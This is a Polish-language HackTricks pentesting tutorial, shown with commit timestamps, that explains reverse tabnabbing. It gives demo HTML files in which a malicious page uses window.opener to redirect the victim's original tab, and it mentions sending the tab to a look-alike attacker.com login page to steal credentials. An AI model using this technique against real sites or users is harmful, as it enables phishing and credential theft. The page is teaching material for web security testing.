hacktricks/pentesting-web/reverse-tab-nabbing.md

114 lines
6.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
# Opis
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
W sytuacji, gdy **atakujący** może **kontrolować** argument **`href`** znacznika **`<a`** z atrybutem **`target="_blank" rel="opener"`**, który zostanie kliknięty przez ofiarę, **atakujący** może **skierować** ten **link** do strony internetowej pod swoją kontrolą (złośliwa strona internetowa). Następnie, gdy **ofiara kliknie** link i wejdzie na stronę atakującego, ta **złośliwa strona internetowa** będzie mogła **kontrolować** **oryginalną stronę** za pomocą obiektu JavaScript **`window.opener`**.\
Jeśli strona nie ma **`rel="opener"`**, ale zawiera `target="_blank"`, to również może być podatna.
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Zwykłym sposobem wykorzystania tego zachowania byłoby **zmienienie lokalizacji oryginalnej strony internetowej** za pomocą `window.opener.location = https://attacker.com/victim.html` na stronę kontrolowaną przez atakującego, która **wygląda jak oryginalna**, dzięki czemu może **naśladować** **formularz logowania** oryginalnej strony internetowej i prosić użytkownika o dane uwierzytelniające.
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Należy jednak zauważyć, że ponieważ **atakujący teraz może kontrolować obiekt okna oryginalnej strony internetowej**, może go nadużywać w inny sposób, aby przeprowadzać **bardziej skryte ataki** (może modyfikować zdarzenia JavaScript, aby wyciekać informacje do serwera kontrolowanego przez niego?).
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
# Przegląd
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
## Z odnośnikiem wstecznym
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy nie jest używany atrybut zapobiegający:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
## Bez odnośnika wstecznego
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy jest używany atrybut zapobiegający:
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
## Przykłady <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Utwórz następujące strony w folderze i uruchom serwer WWW za pomocą `python3 -m http.server`\
Następnie **wejdź** na `http://127.0.0.1:8000/`vulnerable.html, **kliknij** na link i zauważ, jak **zmienia się** **URL** **oryginalnej** **strony internetowej**.
2021-05-01 15:23:19 +00:00
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
2024-02-11 01:46:25 +00:00
{% code title="złośliwy.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
2024-02-11 01:46:25 +00:00
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2024-02-11 01:46:25 +00:00
## Dostępne właściwości <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
W przypadku wystąpienia **dostępu między domenami** (dostępu między różnymi domenami), właściwości instancji klasy JavaScript **window**, na które można uzyskać dostęp przez złośliwą witrynę przy użyciu odwołania do obiektu JavaScript **opener**, są ograniczone do następujących:
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
- **`opener.closed`**: Ta właściwość jest używana do sprawdzenia, czy okno zostało zamknięte, zwracając wartość logiczną.
- **`opener.frames`**: Ta właściwość umożliwia dostęp do wszystkich elementów iframe w bieżącym oknie.
- **`opener.length`**: Ta właściwość zwraca liczbę elementów iframe obecnych w bieżącym oknie.
- **`opener.opener`**: Odwołanie do okna, które otworzyło bieżące okno, można uzyskać za pomocą tej właściwości.
- **`opener.parent`**: Ta właściwość zwraca okno nadrzędne bieżącego okna.
- **`opener.self`**: Ta właściwość umożliwia dostęp do samego bieżącego okna.
- **`opener.top`**: Ta właściwość zwraca najwyższe okno przeglądarki.
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Jednak w przypadku, gdy domeny są identyczne, złośliwa witryna uzyskuje dostęp do wszystkich właściwości udostępnianych przez [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) odwołanie do obiektu JavaScript.
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
# Zapobieganie
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
Informacje dotyczące zapobiegania są udokumentowane w [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
2024-02-11 01:46:25 +00:00
## Odwołania
2021-05-01 15:23:19 +00:00
2024-02-06 03:10:38 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
2022-04-05 22:24:52 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>